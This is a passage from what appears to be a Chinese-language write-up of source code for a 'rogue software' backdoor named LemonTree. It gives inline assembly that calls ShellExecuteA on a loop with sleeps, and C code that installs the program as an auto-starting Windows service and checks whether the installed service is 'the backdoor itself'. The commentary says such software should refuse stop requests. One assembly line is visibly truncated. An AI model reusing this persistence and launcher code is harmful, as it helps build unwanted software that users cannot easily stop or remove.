  749.   {   
  750.   push eax   
  751.   push esp   
  752.   push ecx   
  753.   push ebx   
  754.   sub esp, 256   
  755.   mov byte ptr [esp], 'o'   
  756.   mov byte ptr [esp+1], 'p'   
  757.   mov byte ptr [esp+2], 'e'   
  758.   mov byte ptr [esp+3], 'n'   
  759.   mov byte ptr [esp+4], '   
  760.   lea ebx, [esp]   
  761.      
  762.   push SW_SHOWMAXIMIZED   
  763.   push 0   
  764.   push func_args   
  765.      
  766.   mov ecx, func_args   
  767.   add ecx, 200h   
  768.   lea eax, [ecx]   
  769.   push eax   
  770.      
  771.   push ebx   
  772.   push 0   
  773.   call MyShellExecuteA   
  774.      
  775.   add esp, 256   
  776.   pop ebx   
  777.   pop ecx   
  778.   pop esp   
  779.   pop eax   
  780.   push sleep_time   
  781.   call MySleep   
  782.   }   
  783.   }   
  784.   }   
  785.   这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。   
  786.   代码:   
  787.   /**************************************************************************************************   
  788.   * 全局变量   
  789.   **************************************************************************************************/   
  790.   #define SERVICE_NAME L"LemonTree"   
  791.   #define SERVICE_DESCRIPTION L"LemonTree"   
  792.   #define SERVICE_DISPLAY_NAME L"LemonTree"   
  793.   SERVICE_STATUS serviceStatus;   
  794.   SERVICE_STATUS_HANDLE hServiceStatus;   
  795.   BOOL ServiceInstall( WCHAR * ); //安装服务   
  796.   BOOL ServiceUnstall( WCHAR * ); //删除服务   
  797.   void ServiceControl( DWORD ); //控制服务   
  798.   BOOL ServiceExists( WCHAR * ); //判断服务是否存在   
  799.   /***********************************************************************************   
  800.   * 安装服务   
  801.   * 参数:主程序全路径   
  802.   * 返回:成功返回TRUE,否则为FALSE   
  803.   ***********************************************************************************/   
  804.   BOOL ServiceInstall( WCHAR *exeFilePath )   
  805.   {   
  806.   WCHAR tmpPath[MAX_PATH] = { 0 };   
  807.   HKEY key;   
  808.      
  809.   SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );   
  810.   if ( serviceMangerHandle == 0 )   
  811.   {   
  812.   printf( "Install: Open services manager database error: %d\n", GetLastError() );   
  813.   return FALSE;   
  814.   }   
  815.      
  816.   SC_HANDLE serviceHandle = CreateService   
  817.   (   
  818.   serviceMangerHandle ,   
  819.   SERVICE_NAME ,   
  820.   SERVICE_DISPLAY_NAME ,   
  821.   SERVICE_ALL_ACCESS ,   
  822.   SERVICE_WIN32_OWN_PROCESS ,   
  823.   SERVICE_AUTO_START ,   
  824.   SERVICE_ERROR_NORMAL ,   
  825.   exeFilePath ,   
  826.   NULL ,   
  827.   NULL ,   
  828.   NULL ,   
  829.   NULL ,   
  830.   NULL   
  831.   );   
  832.      
  833.   if ( serviceHandle == 0 )   
  834.   {   
  835.   printf( "Create service error: %d\n", GetLastError() );   
  836.   CloseServiceHandle( serviceMangerHandle );   
  837.   return FALSE;   
  838.   }   
  839.      
  840.   wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );   
  841.   wcscat( tmpPath, SERVICE_NAME );   
  842.      
  843.   if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )   
  844.   {   
  845.   printf( "Open key %s error: %d\n", tmpPath, GetLastError() );   
  846.   return FALSE;   
  847.   }   
  848.   RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );   
  849.      
  850.   RegCloseKey(key);   
  851.   if( !StartService( serviceHandle, 0, 0 ) )   
  852.   {   
  853.   printf( "Install service ok, but start it error: %d\n", GetLastError() );   
  854.   }   
  855.   else   
  856.   {   
  857.   printf( "Install service ok, start it ok.\n" );   
  858.   }   
  859.   CloseServiceHandle( serviceHandle );   
  860.   CloseServiceHandle( serviceMangerHandle );   
  861.   return TRUE;   
  862.   }   
  863.   /**************************************************************************************************   
  864.   * 删除服务   
  865.   **************************************************************************************************/   
  866.   BOOL ServiceUnstall( WCHAR *serviceName )   
  867.   {   
  868.   SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);   
  869.      
  870.   if ( scmHandle == NULL )   
  871.   {   
  872.   return FALSE;   
  873.   }   
  874.      
  875.   SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );   
  876.      
  877.   if( scHandle == NULL )   
  878.   {   
  879.   CloseServiceHandle( scmHandle );   
  880.      
  881.   return FALSE;   
  882.   }   
  883.      
  884.   DeleteService( scHandle );   
  885.   CloseServiceHandle( scHandle );   
  886.   CloseServiceHandle( scmHandle );   
  887.      
  888.   return TRUE;   
  889.   }   
  890.   /**************************************************************************************************   
  891.   * 服务控制函数   
  892.   **************************************************************************************************/   
  893.   void ServiceControl( DWORD request )   
  894.   {   
  895.   #ifdef DEBUG   
  896.   LogToFile( L"ServiceControl: Into ServiceControl\n" );   
  897.   #endif   
  898.   switch ( request )   
  899.   {   
  900.   case SERVICE_CONTROL_PAUSE:   
  901.   serviceStatus.dwCurrentState = SERVICE_PAUSED;   
  902.   break;   
  903.   case SERVICE_CONTROL_CONTINUE:   
  904.   serviceStatus.dwCurrentState = SERVICE_RUNNING;   
  905.   break;   
  906.   case SERVICE_CONTROL_STOP:   
  907.      
  908.   #ifdef DEBUG   
  909.   LogToFile( L"ServiceControl: Try to stop service\n" );   
  910.   #endif   
  911.      
  912.   serviceStatus.dwWin32ExitCode = 0;   
  913.   serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;   
  914.   serviceStatus.dwCheckPoint = 0;   
  915.   serviceStatus.dwWaitHint = 0;   
  916.   break;   
  917.   case SERVICE_CONTROL_INTERROGATE:   
  918.      
  919.   break;   
  920.      
  921.   default:   
  922.   #ifdef DEBUG   
  923.   LogToFile( L"ServiceControl: Error arguments\n" );   
  924.   #endif   
  925.   break;   
  926.   }   
  927.   if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )   
  928.   {   
  929.   #ifdef DEBUG   
  930.   WCHAR tmp[256] = { 0 };   
  931.   wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() );   
  932.   LogToFile( tmp );   
  933.   #endif   
  934.   }   
  935.   return;   
  936.   }   
  937.   BOOL ServiceExists( WCHAR *path )   
  938.   {   
  939.   WCHAR tmpPath[MAX_PATH] = { 0 };   
  940.   HKEY key;   
  941.   WCHAR value[512] = { 0 };   
  942.   int type = REG_EXPAND_SZ;   
  943.   int size = sizeof(value);   
  944.   wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );   
  945.   wcscat( tmpPath, SERVICE_NAME );   
  946.      
  947.   if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )   
  948.   {   
  949.   //printf( "RegOpenKeyEx Error: %d\n", GetLastError() );   
  950.   return FALSE;   
  951.   }   
  952.   if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )   
  953.   {   
  954.   //printf( "RegQueryValueEx Error: %d\n", GetLastError() );   
  955.      
  956.   return FALSE;   
  957.   }   
  958.   if( key ) RegCloseKey( key );   
  959.   // 如果服务的程序路径等于后门本身,表示已经安装   
  960.   if( 0 == _wcsicmp( value, path ) )   
  961.   {   
  962.   return TRUE;   
  963.   }   
  964.   return FALSE;   
  965.   }